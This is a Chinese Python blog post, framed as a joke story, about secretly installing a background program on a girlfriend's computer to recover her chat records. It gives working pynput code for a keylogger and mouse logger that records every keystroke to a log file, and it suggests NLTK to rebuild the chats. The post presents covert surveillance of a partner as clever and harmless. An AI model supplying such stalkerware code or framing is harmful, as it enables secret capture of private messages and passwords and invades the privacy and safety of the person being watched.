用Python获得女友聊天记录,一招解决疑神疑鬼

就在前段时间,在大学睡我上铺的兄弟,在兄嘚群里讨论,说:他发现女朋友这几天只要下班就坐在电脑前,不是工作原因。而且只要他靠近一点就会立即退出页面,所以他一直很怀疑,在群里问我们这一个个单身狗。然后就出现下面这一段对话。

用Python获得女友聊天记录,一招解决疑神疑鬼

A朋友:你直接问。
B朋友:你女朋友睡了后,偷偷拿电脑查。
C朋友:咱们不吊死在一棵树上,不对劲就早点脱身。
D朋友:我觉得A的不行,直接问容易打草惊蛇,不过他在你面前表现的这么明显,你可以去找他聊下,你们之间是不是感情出问题了。
F朋友:嘿,我不和你离的不远吗?支开你女朋友我上你家,帮你搞个能获得聊天记录的,这不就完美了吗?

用Python获得女友聊天记录,一招解决疑神疑鬼

; 1.使用pynput库

pynput 可以监控我们的键盘和鼠标。目前具有此类功能的库有很多,比如 pygame 等游戏库,但是当我们只需要监控键盘和鼠标时,它们就显得过于笨重了。

2.对键盘监控

在他的电脑常驻一个后台进程去实现监控键盘输入并记录下来,代码大概可以这样:

from pynput import keyboard

def on_press(key):
    print(f'{key} :pushed')

def on_release(key):

    if key == keyboard.Key.esc:

        return False

with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
    lsn.join()

控制台打印:

用Python获得女友聊天记录,一招解决疑神疑鬼

3.对鼠标监控

from pynput import mouse

def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        print('left was pressed!')
    elif button == mouse.Button.right:
        print('right was pressed!')
        return False
    else:
        print('mid was pressed!')

with mouse.Listener(on_click=on_click) as listener:
    listener.join()

控制台打印:

用Python获得女友聊天记录,一招解决疑神疑鬼

你会发现,每条打印都被打印了两次,这是因为按下去和抬起来都会触发鼠标事件。

4.监控并记录到日志文件

from pynput import keyboard,mouse
from loguru import logger
from threading import Thread

logger.add('demo.log')
def on_press(key):
    logger.debug(f'{key} :pushed')

def on_release(key):

    if key == keyboard.Key.esc:

        return False

def f1():
    with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
        lsn.join()

def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        logger.debug('left was pressed!')
    elif button == mouse.Button.right:
        logger.debug('right was pressed!')
        return False
    else:
        logger.debug('mid was pressed!')

def f2():

    with mouse.Listener(on_click=on_click) as listener:
        listener.join()

if __name__ == '__main__':

    t1 = Thread(target=f1)
    t2 = Thread(target=f2)
    t1.start()
    t2.start()

查看日志内容:

用Python获得女友聊天记录,一招解决疑神疑鬼

这样键盘操作已经全部被记录,通过对这个日志文件进行简单的 NLTK 语言处理,就能复原聊天记录。
这个记录就不给你们展示了,属于隐私,但能告诉你们结果,嗯,其实他女友挺好,看我上铺兄弟每次都要加班很晚,身体有点不行了,但又好面子,所以偷偷给他在网上买补药,想给他补补~笑死

用Python获得女友聊天记录,一招解决疑神疑鬼
领取🎁 Q群号: 943192807(纯技术交流和资源共享)以自助拿走。

①行业咨询、专业解答
②Python开发环境安装教程
③400集自学视频
④软件开发常用词汇
⑤最新学习路线图
⑥3000多本Python电子书

Original: https://blog.csdn.net/weixin_57577264/article/details/120768337
Author: 世上本无鬼
Title: 用Python获得女友聊天记录,一招解决疑神疑鬼

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/778782/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球